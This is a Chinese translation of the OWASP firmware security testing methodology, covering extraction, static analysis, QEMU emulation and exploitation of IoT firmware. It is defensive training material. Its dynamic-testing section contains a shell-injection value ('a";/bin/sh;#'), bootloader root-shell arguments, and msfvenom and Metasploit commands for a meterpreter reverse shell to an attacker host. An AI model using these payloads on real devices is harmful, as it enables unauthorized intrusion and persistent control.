描述 |
---|
FSTM 由九个阶段组成,专门为安全研究人员、软件开发人员、爱好者和信息安全专业人员提供固件安全评估而设计。 |
无论是网络连接还是独立,固件都是控制任何嵌入式设备的中心。因此,了解如何操纵固件来执行未经授权的功能并可能削弱支持生态系统的安全性至关重要。要开始执行固件的安全测试和逆向工程,请在开始即将进行的评估时使用以下方法作为指导。该方法由九个阶段组成,专门帮助安全研究人员、软件开发人员、顾问、爱好者和信息安全专业人员进行固件安全评估。
阶段 | 描述 |
---|---|
1. 信息收集与侦察 | 获取与目标设备固件相关的所有相关技术和文档详细信息 |
2. 获取固件 | 使用列出的一种或多种建议方法获取固件 |
3. 分析固件 | 检查目标固件的特性 |
4. 提取文件系统 | 从目标固件中雕刻文件系统内容 |
5. 分析文件系统内容 | 静态分析提取的文件系统配置文件和二进制文件中的漏洞 |
6. 模拟固件 | 模拟固件文件和组件 |
7. 动态分析 | 针对固件和应用程序接口执行动态安全测试 |
8. 运行时分析 | 在设备运行时分析编译的二进制文件 |
9. 二进制利用 | 利用先前阶段发现的已识别漏洞来获得 root 权限和/或代码执行 |
以下部分将进一步详细说明每个阶段,并提供适用的支持示例。考虑访问 OWASP 物联网项目页面和 GitHub 存储库,了解最新的方法更新和即将发布的项目。
可以通过以下链接下载预配置的 Ubuntu 虚拟机 (EmbedOS),以及本文档中使用的固件测试工具。有关 EmbedOS 工具的详细信息可以在 GitHub 上的以下存储库中找到:https://github.com/scriptingxss/EmbedOS。
在此阶段,收集尽可能多的有关目标的信息,以了解其底层技术的整体构成。尝试收集以下信息:
应在安全测试现场工作之前通过调查问卷或收集表收集上述信息。确保利用内部产品线开发团队来获取准确和最新的数据。了解所应用的安全控制以及路线图项目、已知的安全问题以及最相关的风险。如果需要,安排对有问题的特定功能进行后续深入研究。评估在协作环境中最为成功。
在可能的情况下,使用开源情报 (OSINT) 工具和技术获取数据。如果使用开源软件,请下载存储库并针对代码库执行手动和自动静态分析。有时,开源软件项目已经使用由提供扫描结果的供应商提供的免费静态分析工具,例如 Coverity Scan 和 Semmle 的 LGTM。例如,下面的屏幕截图显示了 Das U-Boot 的 Coverity 扫描结果的片段。
图片 : U-Boot Coverity 扫描
图片 : U-Boot Coverity 扫描分析
以下是 LGTM 分析的 Dropbear 结果截图。
图片 : LGTM Dropbear 警报
图片 : LGTM Dropbear 结果
有了手头的信息,就应该执行轻度威胁模型练习,映射攻击面和影响区域,以在发生威胁时显示出最大的价值。
要开始查看固件内容,必须获取固件映像文件。尝试使用以下一种或多种方法获取固件内容:
*注意:从公开的云提供商存储服务下载数据时,请确保遵守当地法律法规。
列出的每种方法的难度各不相同,不应被视为详尽的列表。根据项目目标和参与规则选择适当的方法。如果可能,请请求固件的调试版本和发布版本,以便在版本中编译调试代码或功能时最大限度地提高测试覆盖用例。
获取固件映像后,探索文件的各个方面以识别其特征。使用以下步骤分析固件文件类型、潜在的根文件系统元数据,并进一步了解其编译的平台。
利用实用程序,例如:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
如果上述方法均未提供任何有用的数据,则可能会出现以下情况:
如果二进制文件可能被加密,请使用 binwalk 通过以下命令检查熵:
$ binwalk -E <bin>
低熵=不太可能被加密
高熵=它可能被加密(或以某种方式压缩)。
还可以使用 Binvis 在线和独立应用程序使用替代工具。
此阶段涉及查看固件内部并解析相关文件系统数据,以开始识别尽可能多的潜在安全问题。使用以下步骤提取固件内容,以查看后续阶段中使用的未编译代码和设备配置。自动和手动提取方法如下所示。
$ binwalk -ev <bin>
文件将被提取到“ _binaryname/filesystemtype/
”
文件系统类型:squashfs、ubifs、romfs、rootfs、jffs2、yaffs2、cramfs、initramfs
2a.有时,binwalk 的签名中不会包含文件系统的魔术字节。在这些情况下,使用 binwalk 查找文件系统的偏移量,并从二进制文件中提取压缩文件系统,并使用以下步骤根据文件系统的类型手动提取文件系统。
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b.运行以下 dd 命令雕刻 Squashfs 文件系统。
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
或者,也可以运行以下命令。
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c.对于squashfs(在上面的示例中使用)
$ unsquashfs dir.squashfs
之后文件将位于“ squashfs-root
”目录中。
2d. CPIO 存档文件
$ cpio -ivd --no-absolute-filenames -F <bin>
2f.对于 jffs2 文件系统
$ jefferson rootfsfile.jffs2
2d.对于具有 NAND 闪存的 ubifs 文件系统
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
在此阶段,为动态和运行时分析阶段收集线索。检查目标固件是否包含以下内容(非详尽):
手动静态分析文件系统内容和未编译的代码,或利用 Firmwalker 等自动化工具解析以下内容:
以下小节介绍开源自动化固件分析工具。
在 ~/tools/firmwalker 的目录中执行firmwalker,并将firmwalker 指向提取的文件系统根目录的绝对路径。 Firmwalker 使用“/data/”目录中的信息来解析规则。由 Aaron Guzman 修改并进行附加检查的自定义分叉可以在 GitHub 上找到:https://github.com/scriptingxss/firmwalker。以下示例显示了OWASP 的 IoTGoat 上使用的firmwalker 其他易受攻击的固件项目列于文档末尾的易受攻击的固件部分。
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
请参阅下面的 Firmwalker 输出。
将生成两个文件:firmwalker.txt 和firmwalkerappsec.txt。应手动检查这些输出文件。
幸运的是,有多种开源自动化固件分析工具可供使用。 FACT 的特点包括:
识别软件组件,例如操作系统、CPU 架构和第三方组件及其相关版本信息
从镜像中提取固件文件系统
检测证书和私钥
检测映射到常见弱点枚举 (CWE) 的弱实现
基于源和签名的漏洞检测
基本静态行为分析
固件版本和文件的比较(diff)
使用 QEMU 模拟文件系统二进制文件的用户模式
检测二进制缓解措施,例如 NX、DEP、ASLR、堆栈金丝雀、RELRO 和 FORTIFY_SOURCE
休息API
还有更多...
以下是在配套的预配置虚拟机中使用固件分析比较工具包的说明。
提示:建议在具有 16 核 64GB RAM 的计算机上运行 FACT,尽管该工具可以在至少 4 核和 8GB RAM 的情况下以慢得多的速度运行。扫描输出结果因分配给虚拟机的资源而异。资源越多,FACT 完成扫描提交的速度就越快。
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
在浏览器中导航到http://127.0.0.1:5000
图片 : FACT 仪表板
将固件组件上传到 FACT 进行分析。在下面的屏幕截图中,将上传并分析压缩的完整固件及其根文件系统。
图片 : FACT 上传
根据为 FACT 提供的硬件资源,分析结果将在给定时间与其扫描结果一起出现。如果分配最少的资源,此过程可能需要数小时。
图片 : FACT IoTGoat
图片 : FACT IoTGoat 漏洞利用缓解结果
使用 IDA Pro、Ghidra、Hopper、Capstone 或 Binary Ninja 从 FACT 收集的数据反汇编可疑目标二进制文件。分析二进制文件中潜在的远程代码执行系统调用、字符串、函数列表、内存损坏漏洞,并识别 system() 或类似函数调用的外部引用。请注意用于后续步骤的潜在漏洞。
以下屏幕截图显示了使用 Ghidra 反汇编的“shellback”二进制文件。
图片 : Shellback Ghidra 分析
常见的二进制分析包括检查以下内容:
$ readelf -aW bin/*| grep stack_chk_fail
$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail
$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'
$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'
$ readelf -d <bin> | grep -q 'DEBUG'
$ readelf --syms <bin>
$ nm <bin>
-el
指定 16 位宽的小端字符(例如 UTF-16)。-eb
表示大端字节序-t
标志将返回文件中字符串的偏移量。-tx
将以十六进制格式返回,T-to 以八进制格式返回, -td
以十进制格式返回。strings -n5 <bin>
strings -el <bin>
strings -n16 <bin>
strings -tx <bin>
$ readelf -lW bin/<bin>| grep STACK
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
“E”表示堆栈是可执行的。
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW
$ readelf -d binary | grep GNU_RELRO
自动检查上述许多二进制属性的脚本是 checksec.sh。下面是使用该脚本的两个示例。
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
图片 : Checksec.sh
对于 Microsoft 二进制文件(EXE 和 DLL),使用 PESecurity 检查 ASLR、DEP、SafeSEH、StrongNaming、Authenticode、Control Flow Guard 和 HighEntropyVA。
EMBA被设计为渗透测试人员的核心固件分析工具。它支持完整的安全分析过程,从固件提取、静态分析和通过仿真进行动态分析,到生成基于 Web 的报告以供进一步分析。通过单个命令启动, EMBA会自动发现被测固件中潜在的弱点和漏洞,例如不安全的二进制文件、陈旧和过时的软件组件、潜在易受攻击的脚本或硬编码密码。
EMBA的特色包括:
EMBA在后台使用多种其他工具。所需的系统资源在很大程度上取决于您要分析的固件。通常EMBA在以下环境中运行得相当顺利:
要安装必要的环境,您必须使用 root 权限运行安装脚本:
sudo ./installer.sh -d
您应该将-d
开关与安装程序一起使用来运行典型安装。这将在主机上安装所需的依赖项(例如 cve-search)并下载EMBA docker 映像。我们建议在初始安装中使用它。
安装过程完成后,可以从命令行使用EMBA进行固件安全分析。在开始EMBA之前,请下载测试固件,例如 OWASP IoTGoat 固件。以下命令显示了典型的EMBA命令:
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.emba
显示的命令配置以下基本选项:
还有更多选项可用,可以通过./emba.sh -h
查看
每个固件测试的第一步是对当前安装进行运行状况检查:
运行状况检查成功后,分析过程将从识别和提取已配置的固件开始:
在测试固件时,所有结果和当前状态都会实时显示在终端中。由于典型的扫描将在线程模式( -t
参数)下运行,因此该输出将是乱码并且不太容易阅读。为了进一步分析,建议使用日志目录中生成的基于文本的日志文件和 Web 报告( -W
参数)。完成固件扫描后, EMBA在终端中显示结果摘要:
进一步的结果可以在日志目录中找到,并且可以在命令行或通过网络浏览器进行分析:
firefox ~ /emba_logs_iotgoat/html-report/index.html
生成的 HTML 报告是独立的,可以轻松共享。此外,该报告是完全交互式的,可以通过聚合摘要仪表板获取所有测试详细信息。
更多详细信息请访问官方EMBA git 存储库。
EMBArk是固件安全扫描器EMBA的基于 Web 的企业界面。它的开发目的是将固件安全分析器EMBA作为容器化服务提供,并方便对固件扫描后端EMBA 的访问,无论系统和操作系统如何。
此外, EMBArk通过将各种扫描结果聚合到聚合管理仪表板中来改进数据提供。
在所有扫描的详细信息页面上,您可以访问固件扫描的详细报告,开始进一步测试并下载扫描日志:
有关每个固件测试的主要结果的更多详细信息,请参阅详细报告:
更多信息请访问官方EMBArk git 存储库。
注意: EMBArk正处于非常早期的开发阶段。
使用前面步骤中确定的详细信息和线索,必须模拟固件及其封装的二进制文件以验证潜在的漏洞。为了完成固件仿真,有以下几种方法。
/usr/bin/shellback
派生的独立二进制文件要开始部分模拟二进制文件,必须了解 CPU 架构和字节顺序,以便在以下步骤中选择适当的 QEMU 模拟二进制文件。
$ binwalk -Y <bin>
$ readelf -h <bin>
el - 小尾数法
eb——大尾数法
Binwalk 可用于使用以下命令识别打包固件二进制文件(而不是提取固件中的二进制文件)的字节顺序。
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
确定 CPU 架构和字节顺序后,找到适当的 QEMU 二进制文件以执行部分仿真(不是用于仿真完整的固件,而是用于仿真提取的固件的二进制文件。)
通常,在:
/usr/local/qemu-arch
或/usr/bin/qemu-arch
将适用的 QEMU 二进制文件复制到提取的根文件系统中。第二个命令显示将静态arm QEMU 二进制文件复制到显示绝对路径的ZSH shell 中提取的根文件系统。
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
使用以下命令执行 ARM 二进制文件(或适当的架构)以使用 QEMU 和 chroot 进行模拟:
$ sudo chroot . ./qemu-arch <binarytoemulate>
以下示例显示了在攻击者计算机可能使用的典型 x64 架构中模拟的 Busybox。
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
下面是模拟侦听端口 5515 的服务的示例。
> sudo chroot . ./qemu-arm-static usr/bin/shellback
此外,可以使用 qiling 框架来模拟相同的服务。
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
在另一个终端中,检查该服务是否正在本地侦听并尝试使用 netcat 连接到它。
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
有时,请求由 HTTP 服务器分派到 CGI 二进制文件。通过简单地模拟CGI二进制文件,就可以在不设置HTTP服务器的情况下分析处理过程或验证漏洞。以下示例向 MIPS CGI 二进制文件发出 GET 请求。
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
模拟目标二进制文件后,与其解释器或监听服务交互。模糊其应用程序和网络接口,如下一阶段所述。
如果可能,请使用 Firmadyne、固件分析工具包或 ARM-X 固件仿真框架等自动化工具来执行固件的完整仿真。这些工具本质上是 QEMU 和其他环境功能(例如 nvram)的包装器。
使用固件分析工具包,只需执行以下命令:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
注意:如果固件包含不常见的压缩、文件系统或不受支持的体系结构,则可能需要对这些工具进行修改。
在此阶段,当设备在正常或模拟环境中运行时执行动态测试。此阶段的目标可能会有所不同,具体取决于项目和所给予的访问级别。通常,这涉及篡改引导加载程序配置、Web 和 API 测试、模糊测试(网络和应用程序服务)以及使用各种工具集进行主动扫描以获取提升的访问权限(root)和/或代码执行。
可能有用的工具有(非详尽):
参考行业标准 Web 方法,例如 OWASP 的测试指南和应用程序安全验证标准 (ASVS)。
嵌入式设备的 Web 应用程序中需要检查的特定区域如下:
根据产品及其应用程序接口的不同,测试用例会有所不同。
修改设备启动和引导加载程序(例如 U-boot)时,请尝试以下操作:
init=/bin/sh
”#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh
#saveenv
#boot
#setenv ipaddr 192.168.2.2 #local IP of the device
#setenv serverip 192.168.2.1 #tftp server IP
#saveenv
#reset
#ping 192.168.2.1 #check if network access is available
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
ubootwrite.py
写入uboot-image并推送修改后的固件以获得root权限'a";/bin/sh;#'
修改 ' FILENAME
' 参数来测试设备启动过程的输入验证。*硬件安全测试
尝试上传自定义固件和/或编译的二进制文件以检查完整性或签名验证缺陷。例如,使用以下步骤编译启动时启动的后门绑定 shell。
如果已经通过动态分析、引导加载程序操作或硬件安全测试手段获得了root shell,请尝试执行预编译的恶意二进制文件,例如植入程序或反向shell。考虑使用用于命令和控制 (C&C) 框架的自动化有效负载/植入工具。例如,可以通过以下步骤利用 Metasploit 框架和“msfvenom”。
msfvenom
指定适当的目标负载 (-p)、攻击者主机 IP (LHOST=)、侦听端口号 (LPORT=) 文件类型 (-f)、架构 (--arch)、平台 (--platform linux 或 windows)和输出文件 (-o)。例如, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux
set payload linux/armle/meterpreter_reverse_tcp
set LHOST 192.168.1.245 #attacker host IP
set LPORT 445 #can be any unused port
set ExitOnSession false
exploit -j -z
如果可能,请识别启动脚本中的漏洞,以便在重新启动后获得对设备的持久访问。当启动脚本引用、符号链接或依赖于不受信任的安装位置(例如 SD 卡和用于在根文件系统外部存储数据的闪存卷)中的代码时,就会出现此类漏洞。
运行时分析涉及当设备在正常或模拟环境中运行时附加到正在运行的进程或二进制文件。下面提供了基本的运行时分析步骤:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>
可能有用的工具有(非详尽):
从之前的步骤中识别出二进制文件中的漏洞后,需要进行适当的概念验证 (PoC) 来证明现实世界的影响和风险。开发漏洞利用代码需要较低级语言(例如 ASM、C/C++、shellcode 等)的编程经验以及特定目标体系结构(例如 MIPS、ARM、x86 等)的背景。 PoC 代码涉及通过控制内存中的指令来在设备或应用程序上获得任意执行。
在嵌入式系统中采用二进制运行时保护(例如 NX、DEP、ASLR 等)并不常见,但是当发生这种情况时,可能需要其他技术,例如面向返回编程 (ROP)。 ROP 允许攻击者通过链接目标进程/二进制代码(称为小工具)中的现有代码来实现任意恶意功能。需要采取措施通过形成 ROP 链来利用已识别的漏洞,例如缓冲区溢出。对于此类情况非常有用的工具是 Capstone 的小工具查找器或 ROPGadget - https://github.com/JonathanSalwan/ROPgadget。
利用以下参考资料获取进一步指导:
在整个固件评估过程中将使用多种工具的组合。下面列出了常用的工具。
要练习发现固件中的漏洞,请使用以下易受攻击的固件项目作为起点。
反馈和贡献
如果您想贡献或提供反馈以改进此方法,请联系 [email protected] (@scriptingxss)。请务必提出问题或拉取请求,我们将确保处理它!
特别感谢我们的赞助商 Cisco Meraki、OWASP Inland Empire 和 OWASP Los Angeles 以及 José Alejandro Rivas Vidal 的仔细审查。
完整的贡献者列表可以通过 https://github.com/scriptingxss/owasp-fstm/graphs/contributors 找到。
执照
知识共享署名相同方式共享 4.0 国际